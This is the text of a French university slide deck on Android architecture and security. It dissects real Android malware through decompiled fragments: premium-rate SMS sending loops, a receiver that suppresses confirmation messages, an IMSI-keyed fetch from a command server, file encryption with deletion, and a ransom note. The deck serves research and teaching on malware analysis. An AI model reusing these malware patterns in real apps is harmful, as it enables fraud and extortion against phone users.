Jean-Francois Lalande - 28 Mai 2015
Tutoriel réalisé en collaboration avec:
Objectifs visés
Le tutoriel abordera les points suivants:
Sommaire
Nom | Version | Date |
---|---|---|
Android | 1.0 | 2008 |
Petit Four | 1.1 | 2009 |
Cupcake | 1.5 | 2009 |
Donut | 1.6 | 2009 |
Gingerbread | 2.3 | 2010 |
Honeycomb | 3.0 | 2011 |
Ice Cream Sandwich | 4.0.1 | 2011 |
Jelly Bean | 4.1 | 2012 |
KitKat | 4.4 | 2013 |
Lollipop | 5.0 | 2014 |
Quelques chiffres marquants:
Android est en fait un système de la famille des Linux, pour une fois sans les outils GNU. L'OS s'appuie sur:
Anatomie d'un déploiement:
Activités: une classe représentant un écran de l'application.
public class Main extends Activity { public void onCreate(Bundle savedInstanceState) { setContentView(R.layout.acceuil); }
Receiver: permet de recevoir des Intent dans la méthode onReceive()
public class SMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context arg0, Intent arg1) { // TODO Auto-generated method stub } }
View: les composants graphiques
Button b = (Button)findViewById(R.id.Button01); b.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Toast.makeText(v.getContext(), "Stop !", Toast.LENGTH_LONG).show(); } }); }
Intent: un message, permettant de déléguer une action à une application tierce.
Intent intent = new Intent("andro.jf.nom_du_message"); startActivity(intent);
Services: une tâche de fond, presque persitante, exécutée dans le processus de l'application.
public class MonService extends Service { public int onStartCommand(Intent intent, int flags, int startId) { // TODO return Service.START_NOT_STICKY; }
Pour démarrer un service:
Intent intent = new Intent("andro.jf.nom_du_message"); startService(intent);
Peut-être externalisé dans un processus séparé.
Thread, Executor, ScheduledExecutorService...: classes permettant de gérer des tâches.
Task t = new Task(); timer.scheduleAtFixedRate(t, 0, 1000);
La vie d'une application est particulière:
Par exemple, télécharger un fichier:
private class DownloadTask extends AsyncTask<String, Integer, String> { protected String doInBackground(String... sUrl) { try { URL url = new URL(sUrl[0]); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.connect(); ...
Pour le cas d'une application malveillante:
Android facilite la réalisation de services mobiles:
HttpClient client = new DefaultHttpClient(); HttpGet httpGet = new HttpGet(url+login); httpGet.setHeader("authent", login+pass); HttpResponse response = client.execute(httpGet);
SmsManager manager = SmsManager.getDeault(); manager.sendTextMessage("02484840000", null, "Coucou !", null, null);
(extrait de [ADG+14])
import org.simalliance.openmobileapi.Channel; import org.simalliance.openmobileapi.Reader; import org.simalliance.openmobileapi.SEService; import org.simalliance.openmobileapi.Session; public static Reader[] getReaders(SEService seService) { Reader[] readers = seService.getReaders(); return readers; } public static void initChannel() throws IOException { Reader[] readers = getReaders(seService); Reader reader = readers[0]; Session session = reader.openSession(); card = session.openLogicalChannel(appletAID); } public static byte[] transmit(byte[] apdu) throws IOException{ return card.transmit(apdu); } // Example: ArrayList<String> apduList = new ArrayList<String>(); apduList.add(0, "0000070000"); apduList.add(1, "0000080000"); ... SendCard.initChannel(); for (int i = 0; i < apduList.size(); i++){ cmd = SendCard.transmit(SendCard.stringToBytes(apduList.get(i))); } SendCard.closeChannel();
Il est possible d'émuler une carte à puce au niveau d'un service Android.
Déclaration de la classe:
<uses-permission android:name="android.permission.NFC" /> <uses-feature android:name="FEATURE_NFC_HOST_CARD_EMULATION"/> <service android:name=".MyOffHostApduService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE" > <intent-filter> <action android:name="android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.off_host_apdu_ervice" android:resource="@xml/apduservice" /> </service>
Filtrage des AID:
<offhost-apdu-service xmlns:android="http://schemas.android.com/apk/res/android" android:description="@string/servicedesc"> <aid-group android:description="@string/subscription" android:category="other"> <aid-filter android:name="F0010203040506"/> <aid-filter android:name="F0394148148100"/> </aid-group> </offhost-apdu-service>
L'architecture d'Android repose sur:
Isolation des processus Unix, à partir des UIDs:
Permissions projetées grâce aux groupes UNIX:
Dans AndroidManifest.xml:
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
Avec la possibilité de définir des:
Certaines permissions sont particulièrement sensibles, d'un point de vue de la sécurité:
Vie privée:
Fuite d'informations:
Intégrité:
Déni de service:
Intrusion:
La sécurité dans Android cherche à:
Cependant, Android ne cherche pas à:
Du coté de l'attaquant, il peut:
Un malware est un programme malveillant qui travaille à l'insu de son utilisateur.
Les buts de ces programmes sont principalement [Faruki15]:
Comment expliquer le succès de ces malware ? [QC13]
Caché dans des applications bénignes, ces malware volent des informations (IMEI, login/password) via des SMS ou internet. Il peut avoir des techniques de propagation.
Code malveillant qui se réplique de téléphone en téléphone.
Permet de contrôler un ensemble de téléphones zombis.
Surveille l'utilisateur à son insu.
Permet d'afficher des publicités plus intrusives (bureau, notification) en fonction du contexte.
Prend en otage le téléphone ou ses ressources en échange d'un paiement.
Principe général pour créer un malware:
Les exemples traités dans la suite:
Gone in 60 seconds: upload contacts, messages, historiques et se désinstalle:
L'application SuiConFo (suivi de consommation téléphonique) a été victime d'un repackaging en com.magicsms.own.
Ce malware envoie des SMS surtaxés en fonction du pays où il s'exécute:
public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); Toast.makeText(this, "ERROR: Android version is not compatible", 1).show(); String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso(); if (str1.equals("fr")) { str2 = "81001"; str3 = "STAR"; } ... while (1) { SmsManager localSmsManager = SmsManager.getDefault(); localSmsManager.sendTextMessage(str2, null, str3, null, null); ... }}
Permissions nécessaires: INTERNET, ACCESS_NETWORK_STATE, RECEIVE_SMS, SEND_SMS, READ_PHONE_STATE, RECEIVE_BOOT_COMPLETED.
Lorsque l'Intent RECEIVE_BOOT_COMPLETED est recu, un service est démarré:
RecorderTask localRecorderTask = new RecorderTask(this.c); this.timer.scheduleAtFixedRate(localRecorderTask, 1000L, 1000L);
La classe RecorderTask est chargée d'envoyer les SMS frauduleux:
this.m = StringUtil.split(connmgr.getX_v, '*'); if ((this.m.length != 1) && (connmgr.ifFirstRun == "1")) { this.sentIntent = PendingIntent.getBroadcast(this.context, 0, new Intent(), 0); this.smsManager.sendTextMessage(this.m[0].toString().trim(), null, this.m[3], this.sentIntent, null);
C'est lorsque l'on lance l'application que l'on récupère les numéros de téléphone:
ConnectWebService(connmgr.collector + "getS3?imsi=" + this.imsi.trim() + "&appid=" + connmgr.getVendorid(), 1); ... invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
Enfin, le malware déclare un receveur de SMS dans son Manifest pour intercepter les confirmations qui suivent l'envoi d'un SMS surtaxé:
<receiver android:name="SMSSrv"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>
Dans la classe SMSSrv, on observe, entre autre:
public class SMSSrv extends BroadcastReceiver { ... public void onReceive(Context paramContext, Intent paramIntent) { ... abortBroadcast();
Ce dernier appel empêche les autres receveurs de broadcast de recevoir le message.
public static void sendAlive(final Context context) { final long long1 = PreferenceManager.getDefaultSharedPreferences(context). getLong("mobi.dash.sendAlive.lastSendTime", 0L); ... final long n2 = System.currentTimeMillis() - long1; if (n2 >= 0L && n2 < DisplayCheckRebootReceiver.aliveInterval) { n = 0; } ... if (n != 0) { new ServerApi(Ads.getServerManager()).sendAlive( context.getApplicationContext(), AdIdUtils.getUserAdId(context)); PreferenceManager.getDefaultSharedPreferences(context).edit(). putLong("mobi.dash.sendAlive.lastSendTime", System.currentTimeMillis()).commit(); } ... ((AlarmManager)context.getSystemService("alarm")).setRepeating(2, SystemClock.elapsedRealtime() + DisplayCheckRebootReceiver.aliveInterval, DisplayCheckRebootReceiver.aliveInterval, PendingIntent.getBroadcast(context, DisplayCheckRebootReceiver.sendAliveId, intent, 0));
this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock"); this.wakeLock.acquire(); ... ScheduledExecutorService scheduledExecutorService = Executors.newSingleThreadScheduledExecutor(); scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$3, 0, 180, TimeUnit.SECONDS); scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$4, 1, 1, TimeUnit.SECONDS); new Thread((Runnable)new MainService$5).start();
for (final String s : this.filesToEncrypt) { aesCrypt.encrypt(s, String.valueOf(s) + ".enc"); new File(s).delete(); }
(Traduction du Russe) Attention Your phone is locked! The device is locked for viewing and distribution (...) DLA unlock you need to pay 260 UAH. 1. Locate the nearest terminal refill. 2. It get MoneXy. 3. Enter 380,982,049,193. 4. Add 260 hryvnia, and then pay. Do not forget to get a receipt! After receipt of payment your device will be unlocked in 24 hours. In case of no PAYMENT YOU WILL LOSE ALL DATA TO ALWAYS HAVE IN YOUR ustroytvo!
Bâtir des prototypes de malware...
Projet Kharon du Labex CominLabs:
==> plate-forme d'analyse utilisant le suivi de flux d'information
Equipes de l'IRISA:
Trois objectifs sont poursuivis actuellement:
==> Démo
Les techniques utilisées sont diverses:
Les permissions sont importantes:
L'analyse de malware est un travail long et fastidieux
Perspectives: automatiser, quantifier, comprendre les comportements malveillants
[QC13] | Mobile Security: A Look Ahead, Q. Li and G. Clark, Security & Privacy, IEEE, vol. 11, no. 1, pp. 78–81, 2013. |
[Faruki15] | Android Security: A Survey of Issues, Malware Penetration and Defenses, P. Faruki, A. Bharmal, V. Laxmi, V. Ganmoor, M. S. Gaur, M. Conti, and M. Rajarajan, , IEEE Commun. Surv. Tutorials, vol. PP, no. 99, pp. 1–27, 2015. |
[ADG+14] | Arfaoui, G., Dabosville, G., Gambs, S., Lacharme, P., & Lalande, J.-F. (2014). A Privacy-Preserving NFC Mobile Pass for Transport Systems. ICST Transactions on Mobile Communications and Applications, 2(5), e4. |
[LW13] | Lalande, J.-F., & Wendzel, S. (2013). Hiding privacy leaks in Android applications using low-attention raising covert channels. In First International Workshop on Emerging Cyberthreats and Countermeasures (pp. 701–710). Regensburg, Germany: IEEE Computer Society. |
[Gone60s] | http://contagiominidump.blogspot.fr/2011/09/gone-in-60-seconds-android-spyware.html |
[Foncy] | http://contagiominidump.blogspot.fr/2011/12/fake-suiconfoapk-foncy-android-trojan.html |
[LoveTrap] | http://contagiominidump.blogspot.fr/2011/08/lovetrap-sms-trojan.html |
[SimpleLocker] | http://contagiominidump.blogspot.fr/search/label/simplocker |
[Rado] Radoniaina Andriatsimandefitra. Caractérisation et détection de malware Android basées sur les flux d'information. Cryptography and Security. Supélec, 2014. https://tel.archives-ouvertes.fr/tel-01095994/
>>>>>>>>> Questions ???
Table of Contents | t |
---|---|
Exposé | ESC |
Full screen slides | e |
Presenter View | p |
Source Files | s |
Slide Numbers | n |
Toggle screen blanking | b |
Show/hide slide context | c |
Notes | 2 |
Help | h |
Attaques sous Android: dissection de malware | Jean-François Lalande | INSA CVL | Achieved using Landslide | h = help |